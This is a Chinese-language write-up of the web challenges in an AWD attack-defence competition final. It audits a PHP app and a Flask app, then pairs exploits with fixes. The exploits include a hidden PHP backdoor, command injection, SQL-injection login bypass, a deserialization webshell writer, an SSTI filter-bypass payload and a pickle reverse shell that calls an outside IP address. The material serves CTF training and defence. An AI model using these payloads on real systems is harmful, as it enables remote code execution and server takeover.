“古剑山”第二届全国大学生网络攻防大赛决赛-web

打的是awd,web有两题,一题是php一题是python

wj

https://wwpq.lanzouq.com/irueQ2ss2oqb

先d盾开扫

接着看config.php,每个变量打印一下分析(已写到注释),也可以直接调试

1
2
3
4
5
6
7
8
<?php

@$_++; //1
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); //_GET
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); //_POST
$a = ${$__}[!$_](${$___}[$_]); //$a = $_GET[false]($_POST[1]);

?>

  • ${$__}$_GET(因为$__ = "_GET"
  • ${$___}$_POST(因为$___ = "_POST")
  • !$_false(因为$_ = 1!1false
  • $_1

最终得到$a = $_GET[0]($_POST[1]); 很明显就是一个后门

修复的话,后门直接删除就行。

接着开始审计

先审入口文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include "./common/function.php";
include "./include/config.php";
include "./lib/base.php";

header("Content-Type: text/html; charset=utf-8");
ini_set("display_errors","On"); //开启报错

$c=isset($_GET['c'])?$_GET['c']:'User';
$a=isset($_GET['a'])?$_GET['a']:'Index';

$obj=run_c($c);
run_a($obj,$a);
?>

接收两个get的参数ca并设置默认值为UserIndex

然后调用了两个方法:$obj=run_c($c);``run_a($obj,$a);

跟进这两个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

function run_c($class){

if ( !preg_match('/^\w+$/', $class) or (!file_exists(ROOTDRI."/lib/".$class.".php")) ){
exit('hack');
}else{
include "./lib/".$class.".php";
return new $class;
}
}


function run_a($obj,$action){
if ( !preg_match('/^[\w\W].*$/', $action)){
exit('hack');
}else{
eval('$obj->'.$action.'();');
}
}


?>

run_c传入的是类文件的文件名并且限制目录为lib,返回该类的对象。正则匹配/^\w+$/只允许传入数字字母下划线,无法传入.和斜杠/,防止了目录穿越。

run_a接收对象和方法名,然后通过eval执行该对象的方法,/^[\w\W].*$/只检测方法名不为空。

接着看类文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
<?php


class User extends base{

private $db;
function __construct(){
parent::__construct();
$this->conn=mysql_connect(DBHOST,DBUSER,DBPASS);
mysql_select_db(DBNAME);

}

function Login(){
if (!empty($_POST['username']) and !empty($_POST['password'])){
$username=$_POST['username'];
$password=md5($_POST['password']);

$sql="select * from users where username='$username' and password='$password'";
$result = mysql_query($sql,$this->conn);
$data = array();
if($result && mysql_num_rows($result)>0){
$data = mysql_fetch_assoc($result);
$_SESSION['username']=$username;
$_SESSION['id']=$data['id'];
header("Location: ./index.php?c=User&a=home");
}else{
exit("password error!");
}
}
}

function Index(){

$this->tp->display("index.tpl");
}

function Home(){

if(isset($_SESSION['id'])){
$sql="select * from users where id=".$_SESSION['id'].";";
$result = mysql_query($sql,$this->conn);
if($result && mysql_num_rows($result)>0){
$data = mysql_fetch_assoc($result);
$_SESSION['id'] = $data['id'];
$_SESSION['birthday'] = $data['birthday'];
$_SESSION['phonenumber'] = $data['phonenumber'];
$_SESSION['QQ'] = $data['QQ'];
$_SESSION['email'] = $data['email'];
$_SESSION['photo'] = $data['photo'];
$_SESSION['reward'] = $data['reward'];
$_SESSION['motto'] = $data['motto'];
$_SESSION['age'] = $data['age'];
if($data['sex']==1){
$_SESSION['sex'] = "女";
}
else{
$_SESSION['sex'] = "男";
}
$this->tp->assign("username",$_SESSION['username']);
//example
//把所有session的数据放到表格中!
$this->tp->assign("id",$_SESSION['id']);
$this->tp->assign("phonenumber",$_SESSION['phonenumber']);
$this->tp->assign("QQ",$_SESSION['QQ']);
$this->tp->assign("email",$_SESSION['email']);
$this->tp->assign("photo",$_SESSION['photo']);
$this->tp->assign("reward",$_SESSION['reward']);
$this->tp->assign("motto",$_SESSION['motto']);
$this->tp->assign("age",$_SESSION['age']);
$this->tp->assign("sex",$_SESSION['sex']);
$this->tp->assign("birthday",$_SESSION['birthday']);
$this->tp->display("home.tpl");
}else{
header("location: ./index.php");
}

}
}
function register(){

if (!empty($_POST['username']) and !empty($_POST['password']) and !empty($_POST['password']) and !empty($_POST['password']) and !empty($_POST['password'])){
$username=addslashes($_POST['username']);
$password=md5($_POST['password']);
$age=addslashes($_POST['age']);
$sex=addslashes($_POST['sex']);
$sql="select * from users where username='$username'";
$result = mysql_query($sql,$this->conn);
if($result && mysql_num_rows($result)>0){
$this->tp->display("register.tpl");
$this->tp->display("error.tpl");
}else{
$sql="insert into users(username,password,age,sex) values('$username','$password','$age','$sex')";
if (mysql_query($sql)){
$this->tp->display("index.tpl");
$this->tp->display("success.tpl");
}
}
}else{
$this->tp->display("register.tpl");
}
}

function upload(){
if(isset($_SESSION['id'])){
include_once __DIR__."/File1.php";
$up=new File1();
$path = $up->save();
if($path){
$sql="update users set photo='".$path."' where id=".$_SESSION['id'].";";
if(mysql_query($sql,$this->conn)){
$this->tp->assign("photo",$path);
$this->tp->display("success.tpl");
}
else
{
$this->tp->display("error.tpl");
}

}else{
$this->tp->display("error.tpl");
}
}
}

function logout(){
$_SESSION=array();
session_destroy();
header("location: ./index.php");
}

function updatepass(){

if (!empty($_POST['password'])){
$password=md5($_POST['password']);
$sql="update users set password='$password' where id='".$_SESSION['id']."';";
if (mysql_query($sql)){
$this->tp->display("success.tpl");
}
}
else{
$this->tp->display("updatepass.tpl");
}
}
function Updateinfo(){
if(isset($_SESSION['id'])){
$user_id=$_SESSION['id'];
$user_name=addslashes($_POST['user_name']);
$user_QQ=addslashes($_POST['user_QQ']);
if($_POST['user_sex']=='女'){
$user_sex=0;
}
else{
$user_sex=1;
}
$user_age=addslashes($_POST['user_age']);
$user_phone=addslashes($_POST['user_phone']);
$user_email=addslashes($_POST['user_email']);
$user_birth=addslashes($_POST['user_birth']);
$user_reward=addslashes($_POST['user_reward']);
$sql = "update users set username='$user_name',QQ='$user_QQ',sex=$user_sex,age=$user_age,phonenumber='$user_phone',email='$user_email',birthday='$user_birth',reward='$user_reward' where id=$user_id;";
if (mysql_query($sql)){
$this->tp->display("success.tpl");
}
else{

$this->tp->display("error.tpl");
}

}
}
function wulihah(){
$host = $_POST['go'];
system("ping -c $host");
}
}
?>

可以看到最后的wulihah方法存在命令拼接

?c=User&a=wulihah

post:go=1||dir

这里修复就写个waf,正则匹配不允许传入;&|来命令拼接,可以偷用前面的正则然后加上.:

1
2
3
4
5
6
7
8
function wulihah(){
$host = $_POST['go'];
if (!preg_match('/^[\w.:-]+$/', $host)) {
exit('Invalid host!');
}
system("ping -c $host");

}

继续审

看到登录方法Login()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function Login(){
if (!empty($_POST['username']) and !empty($_POST['password'])){
$username=$_POST['username'];
$password=md5($_POST['password']);

$sql="select * from users where username='$username' and password='$password'";
$result = mysql_query($sql,$this->conn);
$data = array();
if($result && mysql_num_rows($result)>0){
$data = mysql_fetch_assoc($result);
$_SESSION['username']=$username;
$_SESSION['id']=$data['id'];
header("Location: ./index.php?c=User&a=home");
}else{
exit("password error!");
}
}
}

也是裸奔,直接拼接用户名密码。密码通过md5来比较,这里密码注入不了万能密码。但是username可以注入,admin' or '1'='1即可登录admin账户

看到后台有一个zip上传的点

上传逻辑在upload方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    function upload(){
if(isset($_SESSION['id'])){
include_once __DIR__."/File1.php";
$up=new File1();
$path = $up->save();
if($path){
$sql="update users set photo='".$path."' where id=".$_SESSION['id'].";";
if(mysql_query($sql,$this->conn)){
$this->tp->assign("photo",$path);
$this->tp->display("success.tpl");
}
else
{
$this->tp->display("error.tpl");
}

}else{
$this->tp->display("error.tpl");
}
}
}

文件处理类在File1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class File1{

private $typelist;
private $allowexten;
private $path;

function __construct(){

if (!isset($_SESSION['username'])){
exit("not login");
}
$this->path='/tmp/uploads/';
if(!file_exists($this->path)){
mkdir($this->path,0777,true);
}
$this->allow=array("zip");
}

function save(){
include_once __DIR__."/zip.php";
$id=$_SESSION['id'];
if(intval($id) !== 1 ){
exit("you are not admin");
}
$upfile=$_FILES['pic'];
$fileinfo=pathinfo($upfile["name"]);

if(!in_array(strtolower($fileinfo["extension"]),$this->allow)){
exit('the file suffix is not allowed');
}
$filepath = $this->path.$id."_".$fileinfo['filename'].".".strtolower($fileinfo["extension"]);
if (file_exists($filepath)){
exit("file already exists");
}
if(move_uploaded_file($upfile['tmp_name'], $filepath)){
$z = new Unzip();
$z->unzip($filepath, $this->path);
return True;
}else{
return False;
}
}
}
?>

该类的构造方法设置了只允许上传.zip后缀

save方法

$filepath = $this->path.$id."_".$fileinfo['filename'].".".strtolower($fileinfo["extension"]);上传的文件存储的格式为/tmp/uploads/id_filename.ext,并且解压输出目录为/tmp/uploads/

save方法调用了zip

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Unzip{
public function __construct(){
header("content-type:text/html;charset=utf8");
}
public function unzip($src_file, $dest_dir){
$unzip = "unzip -o $src_file -d $dest_dir";
exec($unzip);
}
}

?>

单纯的解压,没有设置waf

将一句话木马压缩为zip上传

但是这里保存的目录为系统的tmp而非web目录,可能需要配合文件包含来利用

当然要修复的话,只要在登录的用户名那设置waf,无法登录admin就无法上传了

同样可以偷用前面过滤类名的正则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function Login(){
if (!empty($_POST['username']) and !empty($_POST['password'])){
$username=$_POST['username'];
$password=md5($_POST['password']);
if ( !preg_match('/^\w+$/', $username)){
exit('no!');
}
$sql="select * from users where username='$username' and password='$password'";
$result = mysql_query($sql,$this->conn);
$data = array();
if($result && mysql_num_rows($result)>0){
$data = mysql_fetch_assoc($result);
$_SESSION['username']=$username;
$_SESSION['id']=$data['id'];
header("Location: ./index.php?c=User&a=home");
}else{
exit("password error!");
}
}
}

再次登录测试

lib目录的类审完了,而index调用的function.php是在common目录的

接着审common目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
header('Content-Type: text/html; charset=UTF-8');
class j1nd{
var $test = '12s1';
function __wakeup(){
$fp = fopen("log.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
function is_serialized( $data ) {
$data = trim( $data );
if ( 'N;' == $data )
return true;
if ( !preg_match( '/^([adObis]):/', $data, $badions ) )
return false;
switch ( $badions[1] ) {
case 'a' :
case 'O' :
case 's' :
if ( preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
return true;
break;
case 'b' :
case 'i' :
case 'd' :
if ( preg_match( "/^{$badions[1]}:[0-9.E-]+;\$/", $data ) )
return true;
break;
}
return false;
}


if(isset($_POST['name'])){
$post_data=$_POST['name'];
if(is_serialized($post_data)){
echo $post_data;
unserialize($post_data);
}
else{
echo "你好 ".$post_data.",你的简历分数为 ".mt_rand(60,100)." 分";
}

}
else{
echo("请输入你的名字");
}

?>
<html>
<form action="#" method="post">
<input type="text" name="name">
<input type="submit" name="submit" value="提交">
</form>
</html>

j1nd明显存在反序列化漏洞

1
2
3
4
5
6
7
class j1nd{
var $test = '12s1';
function __wakeup(){
$fp = fopen("log.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}

wakeup在反序列化时会自动调用,将传入的字符写入log.php,这里可以写入木马

1
2
3
4
5
6
7

if(isset($_POST['name'])){
$post_data=$_POST['name'];
if(is_serialized($post_data)){
echo $post_data;
unserialize($post_data);
}

这里只调用了is_serialized来检查是否为合法的序列化字符串,没有waf

post传入name=O:4:"j1nd":1:{s:4:"test";s:22:"<?php system('dir');?>";}

这里反序列化对业务没什么影响,直接删掉就行

因为题目需要命令执行curl平台获取flag,所以别的拿不到shell的如xss的漏洞就不分析了

wo

https://wwpq.lanzouq.com/iCUTB2ss2orc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from flask import Flask, request, render_template,send_from_directory, make_response,redirect
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re
import shelve
from datetime import datetime
YRpxSAtoUsibvJYSNLIvYolgwUhZrDuu = 'guestbook.dat'
app = Flask(__name__)
xNBDtkLZDLeJdmLDjVGzuwsZtSakcPrb = Environment()
def fGvJjqhhlDZwxjaOwhkjDPwybGqGCuPO(type,str):
lXKGklgbUoAEcAamQHRaTQumElxjTikM = "%s'%s'"%(type,str)
print(lXKGklgbUoAEcAamQHRaTQumElxjTikM)
return eval(lXKGklgbUoAEcAamQHRaTQumElxjTikM)
def cwPvcZjBhEWaVhLRfzZbwgpDWBuuDfWn():
XOEQzutgbKvbuPWaJyfXTVCsoYcidwvR = ['class','+','getitem','request','args','subclasses','builtins']
return choice(XOEQzutgbKvbuPWaJyfXTVCsoYcidwvR)
@app.route('/')
def index():
global Archives
mKoIjtaJXbQWuvPTIyRJdQAjhuCCrKZF = make_response(render_template('index.html', Archives = Archives))
rOziJaxndtrMPokMGsHkeiErrIZkSief = bytes(cwPvcZjBhEWaVhLRfzZbwgpDWBuuDfWn(), encoding = "utf-8")
IIGXwOObBDgaVHOgKthObhluszUJGfhE = base64.b64encode(rOziJaxndtrMPokMGsHkeiErrIZkSief)
mKoIjtaJXbQWuvPTIyRJdQAjhuCCrKZF.set_cookie("username", value=IIGXwOObBDgaVHOgKthObhluszUJGfhE)
return mKoIjtaJXbQWuvPTIyRJdQAjhuCCrKZF
@app.route('/Archive/<int:id>')
def Archive(id):
global Archives
if id>len(Archives):
return render_template('message.html', GnhtpzUMRZloJKxoggvYzVPFZegJOBQo='文章ID不存在!', status='失败')
return render_template('Archive.html',Archive = Archives[id])
@app.route('/message',methods=['POST','GET'])
def zpKLpJWhionTVIBpMmOfVRFFymwnHWoW():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
GnhtpzUMRZloJKxoggvYzVPFZegJOBQo = request.form['msg']
try:
zMpdRCCXcdRMDQAYCiuCtURTmTRZwYlj = base64.b64decode(request.cookies.get('user'))
zMpdRCCXcdRMDQAYCiuCtURTmTRZwYlj = pickle.loads(zMpdRCCXcdRMDQAYCiuCtURTmTRZwYlj)
QfCbVmxHtTcYDksiPcqCWgrNervHQDoA = zMpdRCCXcdRMDQAYCiuCtURTmTRZwYlj["name"]
except Exception as soxXYgIdELQdYcvNUKELZyQBSnEuiGaZ:
print(soxXYgIdELQdYcvNUKELZyQBSnEuiGaZ)
QfCbVmxHtTcYDksiPcqCWgrNervHQDoA = "Guest"
if len(GnhtpzUMRZloJKxoggvYzVPFZegJOBQo)>35:
return render_template('message.html', msg='留言太长了!', status='留言失败')
GnhtpzUMRZloJKxoggvYzVPFZegJOBQo = GnhtpzUMRZloJKxoggvYzVPFZegJOBQo.replace(' ','')
GnhtpzUMRZloJKxoggvYzVPFZegJOBQo = GnhtpzUMRZloJKxoggvYzVPFZegJOBQo.replace('_', '')
lXKGklgbUoAEcAamQHRaTQumElxjTikM = fGvJjqhhlDZwxjaOwhkjDPwybGqGCuPO(type,GnhtpzUMRZloJKxoggvYzVPFZegJOBQo)
return render_template('message.html',msg=lXKGklgbUoAEcAamQHRaTQumElxjTikM,status='%s,留言成功'%QfCbVmxHtTcYDksiPcqCWgrNervHQDoA)
def _sandbox_filter(command):
blacklist = [
'object',
'exec',
'sh',
'__getitem__',
'__setitem__',
'import',
'=',
'open',
'sys',
';',
'os',
'tcp',
'`',
'&',
'base64',
'flag',
'eval'
]
for forbid in blacklist:
if forbid in command:
return 'hack'
return ""
@app.route('/hello',methods=['GET', 'POST'])
def SxMqGQyIdzOCUNdeTwDZZJuHTYGkQMQj():
QfCbVmxHtTcYDksiPcqCWgrNervHQDoA = request.cookies.get('username')
QfCbVmxHtTcYDksiPcqCWgrNervHQDoA = str(base64.b64decode(QfCbVmxHtTcYDksiPcqCWgrNervHQDoA), encoding = "utf-8")
flag = _sandbox_filter(QfCbVmxHtTcYDksiPcqCWgrNervHQDoA)
if flag:
kdwpAYPhTQqfOhoGvxkJCgXzhPGSTffw = "error"
else :
kdwpAYPhTQqfOhoGvxkJCgXzhPGSTffw = xNBDtkLZDLeJdmLDjVGzuwsZtSakcPrb.from_string("Hello , " + QfCbVmxHtTcYDksiPcqCWgrNervHQDoA + '!').render()
gWeZkmbNCfXlUwwbthMybQBdITCvauAC = False
return render_template('hello.html', msg=kdwpAYPhTQqfOhoGvxkJCgXzhPGSTffw,is_value=gWeZkmbNCfXlUwwbthMybQBdITCvauAC)
@app.route('/getvdot',methods=['POST','GET'])
def IbAzRdGFLYjmgtPtMzksPoPcLlfmMcmW():
if request.method == 'GET':
return render_template('getvdot.html')
else:
vHPhdVwXzQvfkSybPzjduwOGzgnSaZPh = base64.b64decode(request.form['matrix1'])
nSfOYIgAEjKvUPfnrnrvLevChCHltxIh = base64.b64decode(request.form['matrix2'])
try:
vHPhdVwXzQvfkSybPzjduwOGzgnSaZPh = numpy.loads(vHPhdVwXzQvfkSybPzjduwOGzgnSaZPh)
nSfOYIgAEjKvUPfnrnrvLevChCHltxIh = numpy.loads(nSfOYIgAEjKvUPfnrnrvLevChCHltxIh)
except Exception as soxXYgIdELQdYcvNUKELZyQBSnEuiGaZ:
print(soxXYgIdELQdYcvNUKELZyQBSnEuiGaZ)
MShnjPALwkCgUwdIIsFjYyhGvVsEgVLc = numpy.vdot(vHPhdVwXzQvfkSybPzjduwOGzgnSaZPh,nSfOYIgAEjKvUPfnrnrvLevChCHltxIh)
print(MShnjPALwkCgUwdIIsFjYyhGvVsEgVLc)
return render_template('getvdot.html',GnhtpzUMRZloJKxoggvYzVPFZegJOBQo=MShnjPALwkCgUwdIIsFjYyhGvVsEgVLc,status='向量点积')
def NQzCOHhQGLnkvYTdoikmOuTdFaWjmTHF(WDMsReWUjirxIhWHctkSdWwIzklwpiug, OyfWRhsWSvszaMjArDigQxyOIgJOoUlz, SebLkcLkWvHNmVcyqtZpABrmqibklCEB):
lOHzOeKudYbieOwNWhNXqmmklcqXakZH = shelve.open(YRpxSAtoUsibvJYSNLIvYolgwUhZrDuu)
if 'greeting_list' not in lOHzOeKudYbieOwNWhNXqmmklcqXakZH:
RTzPZUboZRubXyJnbXXWHhXRuLjqhWGH = []
else:
RTzPZUboZRubXyJnbXXWHhXRuLjqhWGH = lOHzOeKudYbieOwNWhNXqmmklcqXakZH['greeting_list']
RTzPZUboZRubXyJnbXXWHhXRuLjqhWGH.insert(
0, {'name': WDMsReWUjirxIhWHctkSdWwIzklwpiug, 'comment': OyfWRhsWSvszaMjArDigQxyOIgJOoUlz, 'create_at': SebLkcLkWvHNmVcyqtZpABrmqibklCEB})
lOHzOeKudYbieOwNWhNXqmmklcqXakZH['greeting_list'] = RTzPZUboZRubXyJnbXXWHhXRuLjqhWGH
lOHzOeKudYbieOwNWhNXqmmklcqXakZH.close()
def dWRAwgaFmZlOWoeIuKvjvxRjGPLWoIKt():
lOHzOeKudYbieOwNWhNXqmmklcqXakZH = shelve.open(YRpxSAtoUsibvJYSNLIvYolgwUhZrDuu)
RTzPZUboZRubXyJnbXXWHhXRuLjqhWGH = lOHzOeKudYbieOwNWhNXqmmklcqXakZH.get('greeting_list', [])
lOHzOeKudYbieOwNWhNXqmmklcqXakZH.close()
return RTzPZUboZRubXyJnbXXWHhXRuLjqhWGH
@app.route('/message2')
def HAqvbEFwAEbxpPEDkTdOZFRfBWDwChcZ():
RTzPZUboZRubXyJnbXXWHhXRuLjqhWGH = dWRAwgaFmZlOWoeIuKvjvxRjGPLWoIKt()
return render_template('message2.html', greeting_list=RTzPZUboZRubXyJnbXXWHhXRuLjqhWGH)
@app.route('/post', methods=['POST'])
def cnLnKgpoiGtsJxZdAqLONAYlfUbnsdEQ():
WDMsReWUjirxIhWHctkSdWwIzklwpiug = request.form.get('name')
OyfWRhsWSvszaMjArDigQxyOIgJOoUlz = request.form.get('comment')
SebLkcLkWvHNmVcyqtZpABrmqibklCEB = datetime.now()
NQzCOHhQGLnkvYTdoikmOuTdFaWjmTHF(WDMsReWUjirxIhWHctkSdWwIzklwpiug, OyfWRhsWSvszaMjArDigQxyOIgJOoUlz, SebLkcLkWvHNmVcyqtZpABrmqibklCEB)
return redirect('/message2')
if __name__ == '__main__':
app.run(host='0.0.0.0',port='5000',debug=True)

这命名太臭了,改一下好审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from flask import Flask, request, render_template,send_from_directory, make_response,redirect
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re
import shelve
from datetime import datetime
arg1 = 'guestbook.dat'
app = Flask(__name__)
arg2 = Environment()
def fun1(type,str):
fun1_a = "%s'%s'"%(type,str)
print(fun1_a)
return eval(fun1_a)
def fun2():
fun2_a = ['class','+','getitem','request','args','subclasses','builtins']
return choice(fun2_a)
@app.route('/')
def index():
global Archives
index_a = make_response(render_template('index.html', Archives = Archives))
index_2 = bytes(fun2(), encoding = "utf-8")
index_3 = base64.b64encode(index_2)
index_a.set_cookie("username", value=index_3)
return index_a
@app.route('/Archive/<int:id>')
def Archive(id):
global Archives
if id>len(Archives):
return render_template('message.html', arg3='文章ID不存在!', status='失败')
return render_template('Archive.html',Archive = Archives[id])
@app.route('/message',methods=['POST','GET'])
def fun3():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
arg3 = request.form['msg']
try:
fun3_a = base64.b64decode(request.cookies.get('user'))
fun3_a = pickle.loads(fun3_a)
fun3_b = fun3_a["name"]
except Exception as fun3_c:
print(fun3_c)
fun3_b = "Guest"
if len(arg3)>35:
return render_template('message.html', msg='留言太长了!', status='留言失败')
arg3 = arg3.replace(' ','')
arg3 = arg3.replace('_', '')
fun1_a = fun1(type,arg3)
return render_template('message.html',msg=fun1_a,status='%s,留言成功'%fun3_b)
def _sandbox_filter(command):
blacklist = [
'object',
'exec',
'sh',
'__getitem__',
'__setitem__',
'import',
'=',
'open',
'sys',
';',
'os',
'tcp',
'`',
'&',
'base64',
'flag',
'eval'
]
for forbid in blacklist:
if forbid in command:
return 'hack'
return ""
@app.route('/hello',methods=['GET', 'POST'])
def fun4():
fun3_b = request.cookies.get('username')
fun3_b = str(base64.b64decode(fun3_b), encoding = "utf-8")
flag = _sandbox_filter(fun3_b)
if flag:
fun4_a = "error"
else :
fun4_a = arg2.from_string("Hello , " + fun3_b + '!').render()
fun4_b = False
return render_template('hello.html', msg=fun4_a,is_value=fun4_b)
@app.route('/getvdot',methods=['POST','GET'])
def fun5():
if request.method == 'GET':
return render_template('getvdot.html')
else:
fun5_a = base64.b64decode(request.form['matrix1'])
fun5_b = base64.b64decode(request.form['matrix2'])
try:
fun5_a = numpy.loads(fun5_a)
fun5_b = numpy.loads(fun5_b)
except Exception as fun3_c:
print(fun3_c)
fun5_c = numpy.vdot(fun5_a,fun5_b)
print(fun5_c)
return render_template('getvdot.html',arg3=fun5_c,status='向量点积')
def fun6(fun6_1, fun6_2, fun6_3):
fun6_a = shelve.open(arg1)
if 'greeting_list' not in fun6_a:
fun6_b = []
else:
fun6_b = fun6_a['greeting_list']
fun6_b.insert(
0, {'name': fun6_1, 'comment': fun6_2, 'create_at': fun6_3})
fun6_a['greeting_list'] = fun6_b
fun6_a.close()
def fun7():
fun6_a = shelve.open(arg1)
fun6_b = fun6_a.get('greeting_list', [])
fun6_a.close()
return fun6_b
@app.route('/message2')
def fun8():
fun6_b = fun7()
return render_template('message2.html', greeting_list=fun6_b)
@app.route('/post', methods=['POST'])
def fun8():
fun6_1 = request.form.get('name')
fun6_2 = request.form.get('comment')
fun6_3 = datetime.now()
fun6(fun6_1, fun6_2, fun6_3)
return redirect('/message2')
if __name__ == '__main__':
app.run(host='0.0.0.0',port='5000',debug=True)

先看导入了什么包,有flask``jinja2``pickle可以往sstipickle反序列化这块分析

很明显看到一个黑名单_sandbox_filter看一下调用

1
2
3
4
5
6
7
8
9
10
11
@app.route('/hello',methods=['GET', 'POST'])
def fun4():
fun3_b = request.cookies.get('username')
fun3_b = str(base64.b64decode(fun3_b), encoding = "utf-8")
flag = _sandbox_filter(fun3_b)
if flag:
fun4_a = "error"
else :
fun4_a = arg2.from_string("Hello , " + fun3_b + '!').render()
fun4_b = False
return render_template('hello.html', msg=fun4_a,is_value=fun4_b)

存在ssti,注入点在cookieusername

1
2
{{[].__getattribute__.__class__.__base__.__subclasses__()}}
e3tbXS5fX2dldGF0dHJpYnV0ZV9fLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpfX0=

os,在137

构造payload,关键字用字符串拼接绕过

1
[].__getattribute__.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s')['po'+'pen']('id').read()

防御可以增加黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def _sandbox_filter(command):
blacklist = [
'object',
'exec',
'sh',
'__getitem__',
'__setitem__',
'import',
'=',
'open',
'sys',
';',
'os',
'tcp',
'`',
'&',
'base64',
'flag',
'eval',
'class',
'(',
'[',
'+',
'|',
'{',
'#',
'%',
'$',
'.'
]

message路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/message',methods=['POST','GET'])
def fun3():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
arg3 = request.form['msg']
try:
fun3_a = base64.b64decode(request.cookies.get('user'))
fun3_a = pickle.loads(fun3_a)
fun3_b = fun3_a["name"]
except Exception as fun3_c:
print(fun3_c)
fun3_b = "Guest"
if len(arg3)>35:
return render_template('message.html', msg='留言太长了!', status='留言失败')
arg3 = arg3.replace(' ','')
arg3 = arg3.replace('_', '')
fun1_a = fun1(type,arg3)
return render_template('message.html',msg=fun1_a,status='%s,留言成功'%fun3_b)

fun3_a = pickle.loads(fun3_a)

存在pickle反序列化,没有回显可以反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os
import base64
class A(object):
def __reduce__(self):
a = """python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("156.238.233.42",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))

a = A()
pickle_a = pickle.dumps(a)
print(base64.b64encode(pickle_a))

#gASVAgEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOdweXRob24zIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTU2LjIzOC4yMzMuNDIiLDg4ODgpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyeUhZRSlC4=

防御可以禁用pickle,只是接收一个用户名,明文传输就可以,没必要使用pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/message',methods=['POST','GET'])
def fun3():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
arg3 = request.form['msg']
try:
fun3_a = base64.b64decode(request.cookies.get('user'))
#fun3_a = pickle.loads(fun3_a)
fun3_b = fun3_a["name"]
except Exception as fun3_c:
print(fun3_c)
fun3_b = "Guest"
if len(arg3)>35:
return render_template('message.html', msg='留言太长了!', status='留言失败')
arg3 = arg3.replace(' ','')
arg3 = arg3.replace('_', '')
fun1_a = fun1(type,arg3)
return render_template('message.html',msg=fun1_a,status='%s,留言成功'%fun3_b)

“古剑山”第二届全国大学生网络攻防大赛决赛-web
